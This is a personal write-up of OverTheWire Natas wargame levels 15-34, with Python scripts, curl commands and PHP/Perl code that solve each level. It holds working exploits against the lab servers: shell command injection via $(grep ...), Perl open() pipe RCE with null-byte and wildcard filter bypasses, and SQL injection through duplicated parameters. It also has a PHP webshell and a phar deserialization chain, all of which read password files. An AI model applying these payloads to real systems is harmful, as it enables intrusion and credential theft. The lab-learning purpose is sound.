OverTheWire - Natas

natas.labs.overthewire.org http://natasX.natas.labs.overthewire.org (web only)

level 15->level 16

 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head>
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


43 collapsed lines
Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

grep -i pass dictionary.txt

$(grep -o ^. /etc/natas_webpass/natas17)

American
Americanism
Americanism's
Americanisms
Americans
Britisher
Celsius
Celsiuses
Christianities
Christmases
Congress
Congress's
December
December's
Decembers
E
E's
Easter
...

$(grep E /etc/natas_webpass/natas17)

nothing

#!/usr/bin/env python

import requests
import string

a = string.ascii_letters + string.digits
passlen = 32

# GET /?needle=%24%28grep+-o+%5E.+%2Fetc%2Fnatas_webpass%2Fnatas17%29&submit=Search HTTP/1.1
# Host: natas16.natas.labs.overthewire.org
# User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en
# Accept-Encoding: gzip, deflate
# DNT: 1
# Sec-GPC: 1
# Authorization: Basic bmF0YXMxNjpoUGtqS1l2aUxRY3RFVzMzUW11WEw2ZURWZk1XNHNHbw==
# Connection: keep-alive
# Referer: http://natas16.natas.labs.overthewire.org/?needle=%24%28grep+a+%2Fetc%2Fnatas_webpass%2Fnatas17%29&submit=Search
# Upgrade-Insecure-Requests: 1
34 collapsed lines
# Priority: u=0, i

url = "http://natas16.natas.labs.overthewire.org/"
auth = ("natas16", "<credential-redacted>")
parmas={"needle": '$(grep E /etc/natas_webpass/natas17)',"submit":"Search"}
sub = 'American'
# ans = 'EqjHJbo7LFNb8'
requests.Timeout=10

# response=requests.get(url=url,params=parmas,auth=auth)
# print(response.text)

# https://jhalon.github.io/over-the-wire-natas3/
# exist=''
# for x in a:
#     parmas={"needle": f'$(grep {x} /etc/natas_webpass/natas17)',"submit":"Search"}
#     response=requests.get(url=url,params=parmas,auth=auth)
#     if not sub in  response.text:
#             exist += x
#             print('using: '+exist)

exist='bhjkoqsvwCEFHJLNOT05789'

ans='EqjHJbo7LFNb8vwhHb'

ans=input()
print(ans)

while True:
    for i in exist:
        print(i)
        parmas={"needle": f'$(grep ^{ans+i} /etc/natas_webpass/natas17)',"submit":"Search"}
        response=requests.get(url=url,params=parmas,auth=auth)

        if not sub in  response.text:
            ans += i
            print(ans)
            print(f"len {len(ans)}")
            if len(ans)==32:
                exit()

# EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC

CBC bit-flipping SQL injection. The search form encrypts the query with AES-CBC before passing to search.php, which decrypts it into a SQL LIKE query. In CBC mode, flipping a byte in ciphertext block N-1 corrupts the same byte in plaintext block N — we can inject arbitrary SQL.

import requests
from base64 import urlsafe_b64decode, urlsafe_b64encode
from urllib.parse import unquote, quote

auth = ('natas28', '<credential-redacted>')
url = 'http://natas28.natas.labs.overthewire.org'

def encrypt(query):
    r = requests.post(url + '/index.php', auth=auth,
                      data={'query': query}, allow_redirects=False)
    return urlsafe_b64decode(unquote(r.headers['Location'].split('query=')[1]))

def search(ct):
    enc = urlsafe_b64encode(ct).decode().rstrip('=')
    r = requests.get(url + '/search.php', auth=auth,
                     params={'query': quote(enc)})
    return r.text

# Step 1 — Determine block structure by comparing different lengths
ct_short = encrypt('x' * 10)
19 collapsed lines
ct_long  = encrypt('x' * 26)
print(f"10x: {len(ct_short)//16} blk, 26x: {len(ct_long)//16} blk")

# Step 2 — Get a known-plaintext reference
# Encrypt padding characters to find which ciphertext blocks
# correspond to our input, then XOR-flip the PREVIOUS block
# to rewrite the decrypted plaintext

# The SQL decrypted is roughly:
#   SELECT * FROM jokes WHERE joke LIKE BINARY '%[INPUT]%'
# We want:
#   SELECT * FROM jokes WHERE joke LIKE BINARY '%' UNION SELECT password FROM users-- -'

# The CBC trick:
#   P[i]   = Decrypt(C[i]) XOR C[i-1]
#   To set P[i][j] = target_byte, we need:
#   C[i-1][j] = current_C[i-1][j] XOR current_P[i][j] XOR target_byte

# Since we don't know current_P[i], we encrypt a known pattern,
# capture C[i-1], then derive the XOR delta from what we WANT vs
# what's ALREADY in the decrypted plaintext (inferable from the SQL template).

# Full exploit script (standard approach for this level):
# 1. Encrypt 'a'*50 to learn which blocks contain our data
# 2. Determine position of the trailing % and close quote
# 3. Flip the ciphertext bytes to turn '%' into "' UNION SELECT..."
# 4. Append dummy block to consume the trailing SQL

[credential redacted]

level 28->level 29

Perl CGI file inclusion. The file parameter is opened as $f.txt. A pipe | at the end makes it a shell command. Filter blocks ‘natas’ but wildcards bypass it.

curl -s -u natas29:<credential-redacted> \
  'http://natas29.natas.labs.overthewire.org/index.pl?file=%7Ccat+/etc/*tas_webpass/*tas30%00'

#!/usr/bin/perl
use CGI qw(:standard);

#
# morla /10111
# '$_=qw/ljttft3dvu{/,s/./print chr ord($&)-1/eg'
#

if(param('file')){
    $f=param('file');
    if($f=~/natas/){
        print "meeeeeep!<br>";
    }
    else{
        open(FD, "$f.txt");

# Perl 里如果传给 open 的文件名以 | 结尾，Perl 不会打开文件，而是把它当 shell 命令执行。
# open(FD, "ls -la |");    # 执行 ls -la，读取输出
# open(FD, "| cat /etc/passwd");  # 也能写，输出重定向进文件

        print "<pre>";
        while (<FD>){
            print CGI::escapeHTML($_);
        }
        print "</pre>";
    }
}

# Pipe + null byte bypasses the .txt append
# %7C = |, %00 = null byte
# /etc/*tas_webpass/*tas30 bypasses 'natas' filter
curl -s -u natas29:<credential-redacted> \
  'http://natas29.natas.labs.overthewire.org/index.pl?file=%7Ccat+/etc/*tas_webpass/*tas30%00'

现代 Perl（5.8+）已经明确弃用了 null byte 截断行为，use open 或 use autodie 会避免这类问题。

Perl CGI 在主流网站的活跃期大约是 1995-2005。这之后：

2005-2010：PHP（LAMP stack）全面取代 Perl 成为动态网站的默认选择
2010-2015：Ruby on Rails / Django 等现代框架崛起
2015-至今：Node.js / Go / Rust / 前后端分离

今天在生产环境中运行 Perl CGI 的网站，基本只有两类：

上世纪遗留的系统，无人敢动
极小众的 Perl 死忠个人站点

这几个漏洞（Perl open 的 pipe 模式、null byte 截断、CGI 多参类型混淆）在实际工作中遇到的可能性接近零。Perl CGI 的生产部署已经消亡了，剩下的也在迁移。

但 Natas 的设计有其历史背景，OverTheWire 的 Natas 是 2010 年前后创建的，当时 Perl CGI 虽然已经不是主流但还不算化石。

这些挑战没有随时代更新，所以越靠后的关卡越不合常规。

[credential redacted]

level 29->level 30

Perl CGI SQL injection. $dbh->quote() normally prevents injection, but passing two password params makes it an array, bypassing quote().

curl -s -u natas30:<credential-redacted> \
  --data-urlencode 'username=natas31' \
  --data-urlencode "password='' or 1=1" \
  --data-urlencode 'password=2' \
  'http://natas30.natas.labs.overthewire.org/index.pl'

#!/usr/bin/perl
use CGI qw(:standard);
use DBI;

if ('POST' eq request_method && param('username') && param('password')){
    my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
    my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));

    my $sth = $dbh->prepare($query);
    $sth->execute();
    my $ver = $sth->fetch();
    if ($ver){
        print "win!<br>";
        print "here is your result:<br>";
        print @$ver;
    }
    else{
        print "fail :(";
    }
    $sth->finish();
    $dbh->disconnect();
}

Result: natas31:<credential-redacted>

[credential redacted]

level 30->level 31

Perl CGI RCE via open() pipe injection. The CSV parser reads with <$file>. Setting file=ARGV as a text field makes it open @ARGV. URL query params become @ARGV; a trailing | executes as shell command.

curl -s -u natas31:<credential-redacted> \
  -F 'file=ARGV' \
  -F 'file=@/dev/stdin;filename=data.csv;type=text/csv' <<< '1,2,3' \
  'http://natas31.natas.labs.overthewire.org/index.pl?cat+/etc/natas_webpass/natas32+|'

Using Python (more reliable multipart):

import requests
auth = ('natas31', '<credential-redacted>')
url = 'http://natas31.natas.labs.overthewire.org/index.pl?cat+/etc/natas_webpass/natas32+|'
data = {'file': 'ARGV'}
files = {'file': ('data.csv', b'1,2,3\n', 'text/csv')}
r = requests.post(url, auth=auth, data=data, files=files)
print(r.text)

[credential redacted]

level 31->level 32

Same RCE technique, but ./getpassword binary in webroot — stderr needs redirect.

The command ./getpassword outputs to stderr, so ./getpassword| alone fails. Append 2>&1:

curl -s -u natas32:<credential-redacted> \
  -F 'file=ARGV' \
  -F 'file=@/dev/stdin;filename=data.csv;type=text/csv' <<< '1,2,3' \
  'http://natas32.natas.labs.overthewire.org/index.pl?./getpassword+2>%261+|'

import requests
auth = ('natas32', '<credential-redacted>')
url = 'http://natas32.natas.labs.overthewire.org/index.pl?./getpassword 2>&1|'
data = {'file': 'ARGV'}
files = {'file': ('data.csv', b'1,2,3\n', 'text/csv')}
r = requests.post(url, auth=auth, data=data, files=files)
print(r.text)

[credential redacted]

level 32->level 33

PHP phar unserialization via md5_file() + phar:// wrapper. The Executor class uploads a file then checks md5_file($filename) == $signature. By crafting a phar archive with serialized metadata, we overwrite $filename and $signature when the phar is opened via phar://.

PHP 里 .phar 文件（PHP Archive）是一种打包格式，结构是：

[Stub] [Manifest] [File Contents] [Signature]
            ↑
        Metadata（序列化的 PHP 对象）

当使用 phar:// 包装器打开一个 phar 文件时（比如 md5_file(“phar://exploit.phar/b”)），PHP 会自动反序列化 Manifest 里的 metadata，不需要调用 unserialize()。

md5_file("phar://exploit.phar/b");
         // 1. 打开 phar 文件
         // 2. 解析 Manifest
         // 3. 反序列化 metadata → 触发 __destruct() → 攻击开始

Step 1 — Upload a PHP webshell:

echo '<?php echo file_get_contents("/etc/natas_webpass/natas34"); ?>' > /tmp/shell.php

curl -s -u natas33:<credential-redacted> \
  -F 'filename=shell.php' \
  -F 'uploadedfile=@/tmp/shell.php' \
  'http://natas33.natas.labs.overthewire.org/index.php'

Step 2 — Generate a phar file whose metadata sets filename=shell.php and signature=<MD5 of shell.php>:

export SIG=$(md5sum /tmp/shell.php | cut -d' ' -f1)
php -d phar.readonly=0 << 'PHAREOF'
<?php
class Executor {
    public $filename = "shell.php";
    public $signature = "";
    public $init = False;
}
$e = new Executor();
$e->signature = getenv('SIG');
if (!is_string($e->signature) || !preg_match('/^[0-9a-f]{32}$/D', $e->signature)) {
    throw new RuntimeException('SIG must contain the shell.php MD5 digest');
}
$f = "/tmp/exploit.phar";
@unlink($f);
$p = new Phar($f, 0, "x.phar");
$p->setSignatureAlgorithm(Phar::SHA1);
$p->startBuffering();
$p->setStub('<?php __HALT_COMPILER(); ?>');
$p->setMetadata($e);
$p->addFromString("b", "b");
$p->stopBuffering();
PHAREOF

Step 3 — Upload the phar, then trigger deserialization via phar://:

# Upload phar as regular file
curl -s -u natas33:<credential-redacted> \
  -F "filename=exploit.phar" \
  -F "uploadedfile=@/tmp/exploit.phar" \
  'http://natas33.natas.labs.overthewire.org/index.php'

# Trigger phar deserialization — filename=phar://./exploit.phar/b
# The constructor fails to save (path with ://), but destructor
# chdir to /natas33/upload/ and calls md5_file("phar://./exploit.phar/b")
# which opens the phar, deserializes metadata, overwriting $filename
# and $signature, then md5_file("shell.php") matches and runs passthru
curl -s -u natas33:<credential-redacted> \
  -F "filename=phar://./exploit.phar/b" \
  -F "uploadedfile=@/dev/null;filename=x;type=text/plain" \
  'http://natas33.natas.labs.overthewire.org/index.php'

该路径依赖 PHP 8.0 之前的 PHAR metadata 自动反序列化行为。PHP 8.0 起，通过 phar:// 打开文件不会自动反序列化 metadata，显式调用 Phar::getMetadata() 仍可反序列化。phar.readonly 限制创建或修改 PHAR，不禁止读取；phar 流包装器默认仍注册。生成端用 phar.readonly=0 写入文件，不能据此判断目标端是否可利用。

[credential redacted]

level 33->level 34

http://natas34.natas.labs.overthewire.org/
Congratulations! You've completed Natas!

OverTheWire - Natas

level 0

level 0->level 1

level 1->level 2

level 2->level 3

level 3->level 4

level 4->level 5

level 5->level 6

level 6->level 7

level 7->level 8

level 8->level 9

level 9->level 10

level 10->level 11

level 11->level 12

level 12->level 13

level 13->level 14

level 14->level 15

level 15->level 16

level 16->level 17

level 17->level 18

level 18->level 19

level 19->level 20

level 20->level 21

level 21->level 22

level 22->level 23

level 23->level 24

level 24->level 25

level 25->level 26

level 26->level 27

level 27->level 28

level 28->level 29

level 29->level 30

level 30->level 31

level 31->level 32

level 32->level 33

level 33->level 34